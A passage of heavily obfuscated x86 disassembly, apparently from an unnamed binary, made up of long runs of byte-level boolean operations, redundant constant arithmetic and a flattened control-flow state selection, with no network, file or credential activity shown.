and dl, ah
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov ah, 1
xor ah, 1
xor dl, 0xff
mov al, 1
xor al, 1
or ah, dl
or al, 1
xor ah, 0xff
and ah, al
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov al, dh
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ch, al
mov al, byte [ebp - 0x674]
or dl, dh
xor ch, dl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov byte [ebp - 0x66a], dl
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
and dl, 1
or dh, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, ah
mov ah, byte [ebp - 0x674]
or dl, al
mov al, byte [ebp - 0x66a]
or ch, dh
xor dl, ch
xor ah, 0xff
mov dh, dl
xor dh, ah
and dh, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x68b], al
mov ah, cl
and ah, al
mov al, dl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x68a], al
mov al, byte [ebp - 0x68b]
and dl, al
mov al, byte [ebp - 0x68a]
or ch, ah
or al, dl
xor ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or dl, al
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
mov al, cl
and al, 1
mov byte [ebp - 0x689], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x688], al
mov al, byte [ebp - 0x689]
and cl, 1
or ah, al
mov al, byte [ebp - 0x688]
or al, cl
xor ah, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
and dl, 0
xor al, 0
or dl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
mov ah, byte [ebp - 0x66a]
or al, cl
xor al, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x680], al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and bh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, bh
or al, dl
xor cl, al
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, ah
or al, dl
xor bh, al
mov byte [ebp - 0x687], bh
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x682], al
xor bh, 0xff
mov ah, 1
xor ah, 1
and al, 0xff
mov byte [ebp - 0x686], al
and cl, ah
mov al, bh
and al, 0xff
mov byte [ebp - 0x685], al
mov al, byte [ebp - 0x687]
and al, ah
mov byte [ebp - 0x684], al
mov al, byte [ebp - 0x686]
or al, cl
mov cl, byte [ebp - 0x685]
mov byte [ebp - 0x683], al
mov al, byte [ebp - 0x684]
or cl, al
mov al, byte [ebp - 0x683]
xor al, cl
mov cl, byte [ebp - 0x682]
or cl, bh
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 0
xor dl, 0
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov al, dh
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and dh, bh
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bh
or cl, dh
or ah, ch
xor cl, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x681], ah
mov dh, cl
xor dh, 0xff
mov ch, 1
xor ch, 1
and ah, 0xff
and al, ch
mov bh, dh
and bh, 0xff
and cl, ch
or ah, al
mov al, byte [ebp - 0x681]
or bh, cl
mov cl, byte [ebp - 0x680]
xor ah, bh
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or ah, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov byte [ebp - 0x677], al
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
mov al, dh
and al, 1
mov bh, 1
xor bh, 1
and bh, 0xff
and dh, 1
or cl, al
mov al, byte [ebp - 0x680]
or bh, dh
mov dh, byte [ebp - 0x677]
xor cl, bh
mov byte [ebp - 0x678], cl
xor dh, 0xff
mov cl, 1
xor cl, 1
mov bh, 1
xor bh, 0
or dh, cl
mov cl, byte [ebp - 0x678]
or bh, 0
xor dh, 0xff
and dh, bh
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov cl, ch
xor cl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x67f], al
mov al, 1
xor al, 1
mov byte [ebp - 0x67e], al
mov al, byte [ebp - 0x67f]
or cl, al
mov al, byte [ebp - 0x67e]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x678]
mov byte [ebp - 0x67d], cl
xor al, 0xff
mov cl, dl
xor cl, al
mov al, byte [ebp - 0x67d]
and cl, dl
mov dl, dh
and dl, bh
xor dh, bh
or dl, dh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x679], bh
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x67a], dh
mov dh, 1
xor dh, 0
and bh, 0
and al, dh
mov byte [ebp - 0x67c], al
mov al, byte [ebp - 0x67a]
and al, 0
mov byte [ebp - 0x67b], al
mov al, byte [ebp - 0x67c]
and cl, dh
or bh, al
mov al, byte [ebp - 0x67b]
or al, cl
mov cl, byte [ebp - 0x67a]
xor bh, al
mov al, byte [ebp - 0x679]
or al, cl
mov cl, byte [ebp - 0x678]
xor al, 0xff
or dh, 0
and al, dh
or bh, al
mov al, dl
xor al, 0xff
mov dh, bh
and dh, al
mov al, byte [ebp - 0x677]
xor bh, 0xff
and dl, bh
or dh, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
mov dl, cl
and dl, 1
xor cl, 1
or dl, cl
xor al, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
mov bh, cl
and bh, 0xff
and dh, dl
mov byte [ebp - 0x676], dh
mov dh, ch
and dh, 0xff
and al, dl
mov byte [ebp - 0x675], al
mov al, byte [ebp - 0x676]
or bh, al
mov al, byte [ebp - 0x675]
or dh, al
mov al, byte [ebp - 0x674]
xor bh, dh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or bh, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dl, ah
and dl, ch
or cl, dl
xor cl, 0xff
mov dl, bh
xor dl, cl
and dl, bh
mov ch, bh
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and bh, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ch, bh
or cl, dh
xor ch, cl
xor ah, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or ah, ch
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x669], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or dl, cl
mov ah, bl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, bl
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or bh, dh
or cl, ch
xor bh, cl
mov byte [ebp - 0x66e], bh
mov ch, 1
xor ch, 1
mov cl, dl
xor cl, ch
and cl, dl
xor al, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov byte [ebp - 0x673], al
mov ch, 1
xor ch, 1
mov dh, ah
xor dh, ch
and dh, ah
xor bl, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 1
or bl, bh
or ch, 1
xor bl, 0xff
and bl, ch
mov ch, cl
xor ch, 0xff
xor al, 0xff
mov byte [ebp - 0x66d], al
mov bh, 1
xor bh, 1
mov al, ch
and al, 0xff
mov byte [ebp - 0x672], al
mov al, byte [ebp - 0x66d]
and cl, bh
and al, 0xff
mov byte [ebp - 0x671], al
mov al, byte [ebp - 0x673]
and al, bh
mov byte [ebp - 0x670], al
mov al, byte [ebp - 0x672]
or al, cl
mov cl, byte [ebp - 0x671]
mov byte [ebp - 0x66f], al
mov al, byte [ebp - 0x670]
or cl, al
mov al, byte [ebp - 0x66f]
xor al, cl
mov cl, byte [ebp - 0x66e]
mov byte [ebp - 0x66c], al
mov al, byte [ebp - 0x66d]
or ch, al
mov al, byte [ebp - 0x66c]
xor ch, 0xff
or bh, 1
and ch, bh
or al, ch
mov ch, dh
and ch, bl
xor dh, bl
or ch, dh
mov dh, al
xor dh, 0xff
mov bh, ch
and bh, dh
xor ch, 0xff
and al, ch
or bh, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov bl, al
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and al, dl
or bl, al
mov dl, 1
xor dl, 1
mov byte [ebp - 0x66b], dl
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 0
and dl, 0
mov al, ah
and al, 1
mov dh, ch
and dh, 0
and cl, ah
or dl, al
mov al, byte [ebp - 0x66b]
or dh, cl
mov cl, byte [ebp - 0x66a]
xor dl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or dl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, al
and ah, 0xff
and bh, dl
mov dh, ch
and dh, 0xff
and bl, dl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dh, ah
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or al, dh
or dl, ch
xor al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ch, bl
or dl, dh
xor ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
mov bh, cl
and bh, dl
xor cl, 0xff
and cl, 1
or bh, cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, dl
and cl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or cl, al
mov al, byte [ebp - 0x669]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or cl, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and cl, ch
or ah, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6581ed7e
mov ecx, 0x34dea2e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
mov edx, eax
add edx, 0xd9f73753
add edx, 0x5b54d129
sub edx, 0xd9f73753
xor esi, esi
sub esi, 0xb3e754d8
add edx, esi
add edx, 0x6e2442a5
sub edx, 0x5b54d129
sub edx, 0x6e2442a5
xor esi, esi
sub esi, 0x605f351
add edx, esi
sub edx, 0xf2d865f4
sub edx, 1
add edx, 0xf2d865f4
sub edx, 0xba93d941
add edx, 0x605f351
add edx, 0xba93d941
xor esi, esi
sub esi, 0x2f198125
sub esi, 0xb3e754d8
add esi, 0x2f198125
sub edx, 0x3e51a9e8
sub edx, esi
add edx, 0x3e51a9e8
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl al
mov byte [ebp - 0x79c], al
mov ch, ah
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
xor ch, 0xff
xor ch, 0
and ch, 0
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
mov dh, dl
and dh, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, dh
or cl, dl
xor bh, cl
mov cl, bh
xor cl, 0xff
mov bl, ah
xor bl, cl
and bl, ah
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
xor cl, 0xff
mov dh, 1
xor dh, 0
mov dl, 1
xor dl, 1
or cl, dh
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, 1
xor dl, 1
xor bh, 0xff
mov dh, 1
xor dh, 0
or dl, bh
or dh, 0
xor dl, 0xff
and dl, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, bl
or cl, dh
or dl, ch
xor cl, dl
mov byte [ebp - 0x781], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or dl, cl
mov ch, 1
xor ch, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or ch, dl
or cl, 0
xor ch, 0xff
and ch, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, 1
xor al, 1
and al, 1
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 1
mov dh, 1
xor dh, 1
and dh, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0x79c]
or dh, bh
xor al, dh
xor al, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 0
or al, bh
mov bh, byte [ebp - 0x781]
or dh, 0
xor al, 0xff
and al, dh
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, bl
or al, dh
or dl, ch
xor al, dl
mov byte [ebp - 0x782], al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
and ch, 1
or dl, ch
xor dl, 0xff
xor dl, 0
and dl, 0
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov byte [ebp - 0x777], bl
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov dh, bh
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
and bh, dl
mov al, ch
xor al, 0xff
and al, 0
and ch, dl
mov dl, byte [ebp - 0x781]
or dh, bh
or al, ch
xor dh, al
xor dh, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov ch, bl
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
and bl, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, bl
or al, dl
xor ch, al
mov bh, ah
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
mov bl, ah
and bl, al
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, al
mov al, byte [ebp - 0x782]
or bh, bl
or dl, ch
xor bh, dl
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov bl, 1
xor bl, 0
and bl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or bl, ch
or dl, ah
xor bl, dl
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and al, ch
mov dl, bl
xor dl, 0xff
and dl, 0
and bl, ch
mov ch, byte [ebp - 0x782]
or ah, al
mov al, byte [ebp - 0x777]
or dl, bl
xor ah, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov al, cl
xor al, 0xff
mov ah, ch
and ah, al
xor ch, 0xff
mov al, cl
and al, ch
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, dh
and cl, ch
or al, cl
mov byte [ebp - 0x78b], al
mov bl, bh
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov ch, bh
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, ch
or al, cl
xor bl, al
mov ch, 1
xor ch, 1
and ch, 0
mov al, 1
xor al, 0
mov cl, al
and cl, 1
mov byte [ebp - 0x79b], cl
mov cl, 1
xor cl, 1
and cl, 0
and al, 1
mov byte [ebp - 0x79a], al
mov al, byte [ebp - 0x79b]
or ch, al
mov al, byte [ebp - 0x79a]
or cl, al
mov al, byte [ebp - 0x78b]
xor ch, cl
mov cl, 1
xor cl, 1
xor al, cl
mov cl, byte [ebp - 0x78b]
and al, cl
mov byte [ebp - 0x799], al
mov al, ch
xor al, 0xff
mov cl, dh
xor cl, al
mov al, byte [ebp - 0x799]
and cl, dh
mov byte [ebp - 0x798], cl
mov dh, 1
xor dh, 1
mov cl, bl
xor cl, dh
and cl, bl
mov byte [ebp - 0x793], cl
mov cl, ch
xor cl, 0xff
mov dh, bh
xor dh, cl
mov cl, byte [ebp - 0x798]
and dh, bh
mov byte [ebp - 0x792], dh
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x794], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x795], cl
mov dh, bh
and dh, 0xff
and al, cl
mov cl, byte [ebp - 0x798]
mov byte [ebp - 0x797], al
mov al, byte [ebp - 0x794]
and al, 0xff
mov byte [ebp - 0x796], al
mov al, byte [ebp - 0x795]
and cl, al
mov al, byte [ebp - 0x797]
or dh, al
mov al, byte [ebp - 0x796]
or al, cl
mov cl, byte [ebp - 0x795]
xor dh, al
mov al, byte [ebp - 0x794]
or bh, al
mov al, byte [ebp - 0x793]
xor bh, 0xff
or cl, 1
and bh, cl
mov cl, byte [ebp - 0x792]
or dh, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x78e], bh
xor cl, 0xff
mov byte [ebp - 0x78f], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x78d], cl
and bh, 0xff
and al, cl
mov cl, byte [ebp - 0x792]
mov byte [ebp - 0x791], al
mov al, byte [ebp - 0x78f]
and al, 0xff
mov byte [ebp - 0x790], al
mov al, byte [ebp - 0x78d]
and cl, al
mov al, byte [ebp - 0x791]
or bh, al
mov al, byte [ebp - 0x790]
or al, cl
mov cl, byte [ebp - 0x78f]
xor bh, al
mov al, byte [ebp - 0x78e]
or al, cl
mov cl, byte [ebp - 0x78d]
xor al, 0xff
or cl, 1
and al, cl
or bh, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0x78c], dh
mov dh, bh
xor dh, 0xff
and dh, 0xff
and bh, al
mov al, byte [ebp - 0x78c]
or cl, al
mov al, byte [ebp - 0x78b]
or dh, bh
xor cl, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
or al, dh
mov dh, ch
and dh, 1
xor ch, 1
or dh, ch
xor dh, 0xff
mov ch, al
xor ch, dh
and ch, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov byte [ebp - 0x783], al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov al, dl
and al, ch
or cl, al
mov byte [ebp - 0x787], cl
mov bh, ah
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or bh, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov byte [ebp - 0x786], ch
mov dh, 1
xor dh, 1
mov al, cl
xor al, dh
and al, cl
mov dh, ch
xor dh, 0xff
mov cl, dl
xor cl, dh
and cl, dl
mov dh, 1
xor dh, 1
mov dl, bh
xor dl, dh
and dl, bh
mov byte [ebp - 0x788], dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov byte [ebp - 0x78a], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x789], al
mov al, byte [ebp - 0x78a]
and cl, dh
or ch, al
mov al, byte [ebp - 0x789]
or al, cl
mov cl, byte [ebp - 0x788]
xor ch, al
mov al, byte [ebp - 0x787]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dh, dl
and dh, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dh, al
mov al, byte [ebp - 0x786]
or bl, bh
xor dh, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or dh, dl
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov dl, 1
xor dl, 1
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, dl
and ch, 0xff
mov dh, bl
and dh, 1
mov byte [ebp - 0x785], dh
mov dh, bh
and dh, 0xff
and al, bl
mov byte [ebp - 0x784], al
mov al, byte [ebp - 0x785]
or ch, al
mov al, byte [ebp - 0x784]
or dh, al
mov al, byte [ebp - 0x783]
xor ch, dh
mov dh, byte [ebp - 0x782]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov bl, al
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ch, bl
or cl, dl
xor ch, cl
mov cl, ah
xor cl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov dl, cl
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
and cl, ah
mov bl, ch
and bl, 0xff
and bh, ah
or al, cl
mov cl, byte [ebp - 0x781]
or bl, bh
xor al, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or al, dl
mov byte [ebp - 0x77e], al
mov bl, cl
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or bl, al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, dh
and dl, ah
or al, dl
mov byte [ebp - 0x77c], al
mov ah, 1
xor ah, 0
and ah, 0
mov ch, 1
xor ch, 0
mov bh, ch
and bh, 0
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, bh
or dl, ch
xor ah, dl
mov ch, 1
xor ch, 0
mov dl, bl
xor dl, ch
and dl, bl
mov bh, ah
xor bh, 0xff
mov ch, cl
xor ch, bh
and ch, cl
xor al, 0xff
mov bh, 1
xor bh, 0
mov cl, 1
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov bh, ah
xor bh, 0xff
mov cl, dh
xor cl, bh
and cl, dh
mov dh, dl
and dh, ch
xor dl, ch
or dh, dl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x77d], ch
mov bh, cl
xor bh, 0xff
mov dl, 1
xor dl, 0
and ch, 0
and al, dl
mov byte [ebp - 0x780], al
mov al, bh
and al, 0
mov byte [ebp - 0x77f], al
mov al, byte [ebp - 0x780]
and cl, dl
or ch, al
mov al, byte [ebp - 0x77f]
or al, cl
mov cl, byte [ebp - 0x77e]
xor ch, al
mov al, byte [ebp - 0x77d]
or al, bh
xor al, 0xff
or dl, 0
and al, dl
or ch, al
mov bh, dh
xor bh, 0xff
and bh, 0
mov al, 1
xor al, 0
and dh, al
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, al
mov al, byte [ebp - 0x77c]
or bh, dh
or dl, ch
xor bh, dl
mov dh, bl
xor dh, 0xff
mov byte [ebp - 0x779], dh
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 0
and dh, 0
and bl, dl
mov byte [ebp - 0x77b], bl
mov bl, ch
and bl, 0
and al, dl
mov byte [ebp - 0x77a], al
mov al, byte [ebp - 0x77b]
or dh, al
mov al, byte [ebp - 0x77a]
or bl, al
mov al, byte [ebp - 0x779]
xor dh, bl
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or al, dh
or dl, ch
xor al, dl
mov dl, ah
and dl, 0
xor ah, 0
or dl, ah
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, bh
xor dl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or al, bh
or dh, bl
xor al, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or al, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or ch, dl
mov dl, 1
xor dl, 1
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
